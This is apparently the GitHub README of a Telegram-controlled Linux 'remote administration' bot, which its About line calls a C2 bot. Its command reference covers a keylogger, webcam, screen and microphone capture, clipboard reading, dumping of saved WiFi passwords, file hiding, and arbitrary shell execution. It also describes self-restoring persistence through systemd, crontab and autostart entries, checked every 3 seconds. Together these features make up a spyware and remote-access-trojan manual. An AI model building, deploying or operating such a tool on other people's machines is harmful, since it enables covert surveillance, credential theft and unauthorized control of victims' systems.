You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Linux Telegram Bot is a high-performance remote administration tool that provides full Linux system control through Telegram. Built with obsessive attention to speed, reliability, and security.
Key Capabilities
Category
Capabilities
System Control
Reboot, shutdown, sleep, process management, service control, kernel modules
git clone https://github.com/vk-candpython/linux-telegram-bot.git
cd linux-telegram-bot
⚙️ Configuration
Edit bot.py and set:
#-------------------------|NECESSARILY|-------------------------#TOKEN="YOUR_BOT_TOKEN"# From @BotFatherPASSWORD="YOUR_PASSWORD_HASH"# SHA256 of your passwordSEED=12345# Seed for encryption key generationPATH="/opt/mybot"# Installation directory#-----------------------------|END|-----------------------------##-------------------------|OPTIONAL|-------------------------#BOT_FILE_NAME="bot.py"# Bot filename in PATHBOT_SERVICE_NAME="mybot"# Systemd service name (required if BOT_EXE=True)BOT_SERVICE_DESCRIPTION="My Bot"# Service description (required if BOT_EXE=True)BOT_EXE=True# Run as persistent service#----------------------------|END|---------------------------#
All three are monitored and restored every 3 seconds by init_bot_exe().
🔐 Security & Encryption
Properties:
Each encrypted byte depends on: key, position, and previous ciphertext
Feedback creates avalanche effect
Key from SEED → (randint(1,8), randint(1,256))
What is encrypted: TOKEN, PASSWORD, session files, keylogger data, autostart config, blocked apps list.
Session Model
Storage
Contents
Lifetime
Disk (mem/)
Encrypted registration date only (anonymous)
Persistent
RAM (SESSION dict)
@username, session date, pre-bound send() function
Until restart/exit
Why: Disk files are anonymous — no usernames. User data lives only in volatile memory.
📚 Command Reference
Core Commands
Command
Syntax
Example
help
help
Shows all commands
session
session
Session information
getpid
getpid
Current PID
getuid
getuid
Current user + logged user
setuid
setuid 1000
Switch to UID 1000
restart
restart
Restart bot
exit
exit
Log out
repeat
repeat (cmd) -c (n) -d (sec)
Repeat command N times
File System Examples
ls # List directory
ls /home/user # List specific directorycd /home/user # Change directory
mount -g # List all mounts
mount -m /dev/sdb1 -p /mnt/usb -t vfat -o rw # Mount device
mount -u /mnt/usb # Unmount
mkfile test.txt -d Hello\tWorld\n# Create file with content
mkdir new_folder # Create directory
chg -s /etc/hosts -p old -v new # Replace text in file
chg -d /etc/hosts -p badline # Delete line from file
chg -t file.txt -a 1714234567 -m none # Change access time only
chg -t file.txt -a none -m "27.04.2026 15:30:00"# Change modify time
rn old.txt -n new.txt # Rename
cp source.txt -t /dest/ # Copy
mv source.txt -t /dest/ # Move
chmod script.sh -m 755 # Change permissions
hide secret.txt # Hide file
unhide .secret.txt # Unhide file
cat document.pdf # Download file
zip /home/user # Create ZIP archive
Network Examples
ipconfig # Global IP + interfaces
route # Routing tables
arp # ARP cache
netstat # Active connections
wifi -g # Scan WiFi networks
wifi -p # Get saved WiFi passwords
site -p https://example.com # Open website
site -d URL -n file.pdf # Download from URL
site -b example.com # Block website
site -l # List blocked sites
System Examples
systeminfo # Full system report
lshw # Hardware details
dmesg # Kernel messages
modprobe -g # List kernel modules
modprobe -i vboxdrv # Install module
modprobe -d vboxdrv # Remove module
ps # Process listkill firefox # Kill by namekill 1234 # Kill by PID
run /path/app -a "--flag"# Launch file
cmd -g "ls -la"# Execute with output
cmd -e "rm -f /tmp/*"# Execute without outputtime -g # Get time
date -s 2026-12-31 # Set date
sleep # Suspend computer
reboot # Reboot
shutdown # Shutdown
Service Management Examples
service -g # List all services
service -q mybot # Service details
service -c mybot -d "Desc" -p /path -a "args" -u root # Create
service -d mybot # Delete
service -e mybot # Enable
service -i mybot # Disable
service -l mybot # Start
service -r mybot # Restart
service -s mybot # Stop
User Interface Examples
screen # Screenshot
webcam # Webcam capture
audio -m 10 # Record microphone (10 sec)
audio -p 5 # Record system output (5 sec)
audio -s /path/audio.mp3 # Play audio file
mouse -p # Get position
mouse -x 500 -y 300 -d 1 # Move mouse
mouse -l -c 2 -d 1 # Left click 2 times
mouse -s 3 # Scroll down
keyboard -t "Hello" -d 1 # Type text
keyboard -k enter -p 3 -d 1 # Press Enter 3 times
keyboard -c -k a -n b # Remap key A → B
keyboard -b f12 # Block key
keyboard -r # Reset keyboard
clipboard -g # Get clipboard
clipboard -c "text"# Copy to clipboard
clipboard -r # Clear clipboard
msg -p "Title" -t "Message"# Send notification
msg -s "Title" -t "Message"# Show message box
Keylogger Examples
keylogger -e # Enable
keylogger -s # Status
keylogger -g base # Get raw data
keylogger -g char # Characters only
keylogger -g hotkey # Hotkey tags only
keylogger -g no hotkey # Clean text
keylogger -d # Disable
keylogger -r # Clear data
The init_bot_exe() thread checks and recreates the service every 3 seconds.
2. Internal Autostart
Encrypted autostart config in sys/0:
autostart -c name -p /path/to/file -a "args"# Add
autostart -l # List
autostart -d name # Delete
autostart -r # Reset all
3. Crontab Integration
crontab -c name -e "*/5 * * * *" -u root -p /script -a none
crontab -g # List
crontab -d name # Delete
4. User Autostart (.desktop)
startup -c name -p /path/to/file -a none # Create
startup -g # List
startup -d name # Delete
startup -l name # Launch now
5. Environment Variables
env -c MYVAR -v "value"# Set
env -g # List all
env -q MYVAR # Query
env -d MYVAR # Delete
6. Mount Management (NEW)
mount -g # List all mounted filesystems
mount -m /dev/sdb1 -p /mnt/usb -t vfat -o rw # Mount with FS type and options
mount -m /dev/sr0 -p /media/cdrom # Mount without FS type
mount -u /mnt/usb # Lazy unmount
Русский
📋 Обзор
Linux Telegram Bot — высокопроизводительный инструмент удалённого администрирования, предоставляющий полный контроль над системой Linux через Telegram.
Ключевые возможности
Категория
Возможности
Управление системой
Перезагрузка, сон, управление процессами/службами/модулями ядра
TOKEN="ТВОЙ_ТОКЕН"# От @BotFatherPASSWORD="ХЕШ_ПАРОЛЯ"# SHA256 твоего пароляSEED=12345# Зерно ключа шифрованияPATH="/opt/mybot"# Директория установкиBOT_EXE=True# Режим службы (опционально)
systeminfo # Полный отчёт
modprobe -g # Модули ядра
modprobe -i vboxdrv # Установить модуль
ps # Процессыkill firefox # Завершить по имениkill 1234 # Завершить по PID
cmd -g "ls -la"# Выполнить команду
service -c name -d "desc" -p /path -a "args" -u root # Создать службу
Remote Administration via Telegram — Full Linux Control
About
Advanced Linux C2 Administration Bot. Professional tool for remote server management via Telegram. Features systemd self-installation, secure session authentication, encrypted file transfer, and full terminal access.